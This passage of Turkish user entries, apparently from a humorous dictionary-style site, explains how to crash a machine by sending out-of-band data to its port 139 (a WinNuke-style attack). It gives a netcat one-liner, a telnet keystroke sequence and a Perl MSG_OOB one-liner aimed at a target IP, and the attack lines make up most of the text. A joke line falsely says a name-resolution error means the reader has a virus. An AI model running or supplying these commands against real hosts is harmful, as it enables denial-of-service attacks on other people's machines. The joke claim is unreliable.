• netcat olan herhangi bir makinede "echo bye | nc ip.adresi 139" seklinde de yapilabilir.
• telnet olan herhangi bir makinede "telnet ip.adresi 139" yazip baglanti saglaninca sirayla (dikkat sira cok onemli) b, y ve e harflerine basarak yapabilirsiniz.
  
  eger "couldn't resolve ip.adresi host not found" gibi bir hata aliyorsaniz o zaman bilgisayarinizda virus var demektir, hemen tovbe edip ilce muftulugunuze basvurun.
• perl'de tek satır kod ile yapılabilen hede...
  
  perl -mio::socket -e 'io::socket::inet->new(peeraddr=>"1.2.3.4:139")->send("huzursuz_rulaz",msg_oob)'
  
  şeklinde.
